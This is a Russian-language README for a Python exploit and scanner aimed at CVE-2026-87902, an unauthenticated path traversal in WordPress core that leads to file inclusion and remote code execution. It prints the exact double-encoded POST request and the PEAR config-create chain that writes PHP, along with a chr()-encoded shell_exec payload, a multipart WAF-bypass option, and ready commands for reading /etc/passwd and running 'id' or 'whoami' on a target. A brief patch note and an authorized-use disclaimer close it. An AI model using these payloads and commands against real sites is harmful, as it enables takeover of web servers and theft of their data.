
Python PoC и сканер для CVE-2026-87902 — обхода пути в ядре WordPress, приводящего к LFI и RCE на основе PEAR, с обходом WAF и автоматизированной эксплуатацией.
| Поле | Значение |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Критический) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Некорректный контроль имени файла для Include/Require |
| Затронуто | WordPress 4.7.0 – 7.1.1 |
| Исправлено | WordPress 7.1.2 + бэкпорты во все поддерживаемые ветки |
| Аутентификация | Отсутствует (неаутентифицированный) |
get_page_template() в wp-includes/template.php вызывает urldecode() для параметра запроса pagename после того, как санитизация уже выполнена. Дважды закодированная последовательность ../ (%252E%252E%252F) проходит через первое декодирование PHP как %2E%2E%2F, выживает после sanitize_title_with_dashes() (которая сохраняет последовательности %xx), а затем декодируется поздним вызовом urldecode() в WordPress в ../ — выходя за пределы директории темы.
Метод POST требуется потому, что redirect_canonical() завершается досрочно для запросов, отличных от GET/HEAD, предотвращая нормализацию пути до достижения уязвимого кода.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP декодирует тело POST: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP санитизация сохраняет: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() разрешает: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() успешно → include() выполняет файл
.php файлы за пределами директории темы включаются и выполняютсяpearcmd.php (требуется установленный PEAR + register_argc_argv=On)Два анонимных POST-запроса приводят к RCE:
Этап 1 — Включение pearcmd.php через обход пути. Строка запроса /?+config-create+/<php-payload>+<output>.php становится argv для PEAR. Команда config-create записывает контролируемые злоумышленником данные (включая PHP-теги) в директорию с правами на запись.
Этап 2 — Включение файла, записанного PEAR. Встроенный PHP выполняется с привилегиями веб-сервера.
PHP-полезные нагрузки используют кодирование chr() (<?=shell_exec(chr(105).chr(100))?>) для избежания символов кавычек, которые экранировал бы wp_magic_quotes().
cve-2026-87902.py — автоматический чекер + LFI-сканер + эксплойт RCE через PEAR. Использует http.client для побайтового контроля запросов (без перекодирования библиотекой).
Python 3.6+ (только стандартная библиотека — без зависимостей pip)
# Проверка только уязвимости
python3 cve-2026-87902.py https://target.com --check
# Проверка с обходом WAF (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Указание ID страницы и глубины обхода
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI-сканирование (цели по умолчанию)
python3 cve-2026-87902.py https://target.com
# LFI-сканирование с пользовательскими файлами
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE через цепочку PEAR
python3 cve-2026-87902.py https://target.com --rce "id"
# Чтение файла через RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Полный набор опций
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*--multipart оборачивает полезную нагрузку в multipart/form-data для обхода сопоставления с шаблонами WAFchr()| Маркер | Значение |
|---|---|
[HIT] | Файл успешно включён |
[---] | Нормальный ответ (файл не включён) |
[???] | Ответ значительно отличается — стоит исследовать |
[WAF] | Заблокировано WAF (403) |
[ERR] | Ошибка соединения |
page-* (например, page-templates/)pearcmd.php из PEAR + register_argc_argv=On + записываемый /tmpОбновитесь до WordPress 7.1.2 или последнего релиза безопасности для вашей ветки (бэкпорты доступны до 4.7).
Этот инструмент предоставляется только для авторизованного тестирования безопасности и исследований в рамках bug bounty. Используйте его только против систем, на тестирование которых у вас есть явное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.